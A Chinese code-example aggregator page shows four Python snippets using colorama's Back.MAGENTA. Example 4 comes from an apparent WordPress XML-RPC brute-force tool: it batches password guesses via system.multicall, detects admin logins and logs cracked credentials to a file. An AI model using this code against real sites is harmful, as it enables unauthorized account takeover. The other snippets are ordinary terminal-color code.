本文整理汇总了Python中colorama.Back.MAGENTA属性的典型用法代码示例。如果您正苦于以下问题:Python Back.MAGENTA属性的具体用法?Python Back.MAGENTA怎么用?Python Back.MAGENTA使用的例子?那么恭喜您, 这里精选的属性代码示例或许可以为您提供帮助。您也可以进一步了解该属性所在类colorama.Back
的用法示例。
在下文中一共展示了Back.MAGENTA属性的4个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: magentaback
# 需要导入模块: from colorama import Back [as 别名]
# 或者: from colorama.Back import MAGENTA [as 别名]
def magentaback(s):
"""Magenta background"""
return Back.MAGENTA + s + Back.RESET
示例2: __call__
# 需要导入模块: from colorama import Back [as 别名]
# 或者: from colorama.Back import MAGENTA [as 别名]
def __call__(self, jarvis, s):
prompt = "{black}Q{Q_id} {cyan}{left} {black}--- {green}{right}"
prompt_formatter = {
'cyan': Fore.CYAN,
'black': Fore.BLACK,
'green': Fore.GREEN
}
jarvis.say("Start personality test..", color=Fore.BLACK)
jarvis.say(self.instruction)
for i, (Q_id, left, right) in enumerate(self.Q):
prompt_formatter['Q_id'] = i
prompt_formatter['left'] = left
prompt_formatter['right'] = right
jarvis.say(prompt.format(**prompt_formatter))
user_input = jarvis.input_number(
prompt="Enter your choice on the scale of 1-5:\n", rmin=1,
rmax=5, color=Fore.BLUE, rtype=int)
self.answers[Q_id] = user_input
self.get_scores()
jarvis.say(
"{}Your personality is: {}{}{}{}".format(
Fore.BLUE,
Fore.BLACK,
Back.MAGENTA,
self.type,
Style.RESET_ALL))
jarvis.say(
"Redirecting to your personality analysis\
in 3s...", color=Fore.BLUE)
time.sleep(3)
self.open_analysis()
示例3: recv
# 需要导入模块: from colorama import Back [as 别名]
# 或者: from colorama.Back import MAGENTA [as 别名]
def recv(self, str, mode):
if str: print(Back.MAGENTA + str + Style.RESET_ALL)
if str and mode == 'hex':
print(Fore.MAGENTA + conv().hex(str, ':') + Style.RESET_ALL)
# show information
示例4: caller
# 需要导入模块: from colorama import Back [as 别名]
# 或者: from colorama.Back import MAGENTA [as 别名]
def caller(self, proxy):
""" Populate the XML-RPC system.multicall() with the maximum number of predefined
of subrequests and then fire it.
"""
calls = 0
global exit_flag
pbar = tqdm(self.queue.qsize(), desc=self.name, total=self.queue.qsize(), unit='multicall', unit_scale=True, dynamic_ncols=True)
while not self.queue.empty() and not exit_flag:
chunks_size = self.queue.get()
multicall = xmlrpc.client.MultiCall(proxy)
for passwords in chunks_size:
# Can be any other available method that needs auth.
multicall.wp.getUsersBlogs(self.username, passwords.strip())
try:
if self.verbose:
pbar.write(Fore.MAGENTA + "[{}]".format(self.name) + TRAFFIC_OUT + "XML request [#{}]:".format(calls))
pbar.write("{}".format(chunks_size) + Style.RESET_ALL)
res = multicall()
except:
pbar.write(ERROR + "could not make an XML-RPC call" + Style.RESET_ALL)
continue
if self.verbose:
pbar.write(Back.MAGENTA + "[{}]".format(self.name) + TRAFFIC_IN + "XML response [#{}] (200 OK):".format(calls))
pbar.write("{}".format(res.results) + Style.RESET_ALL)
if re.search("isAdmin", str(res.results), re.MULTILINE):
i = 0
for item in res.results:
if re.search(r"'isAdmin': True", str(item)):
exit_flag = True
# let time for the threads to terminate
time.sleep(2)
# pbar.write() seems to be bugged at the moment
pbar.write(RESULT + "found a match: \"{0}:{1}\"".format(self.username, chunks_size[i].strip()) + Style.RESET_ALL)
# Log the password in case sys.stdout acts dodgy
with open("passpot.pot", "a+") as logfile:
logfile.write("{0} - {1}:{2}\n".format(self.xmlrpc_intf, self.username, chunks_size[i].strip()))
break
i += 1
calls += 1
self.queue.task_done()
pbar.update()
pbar.close()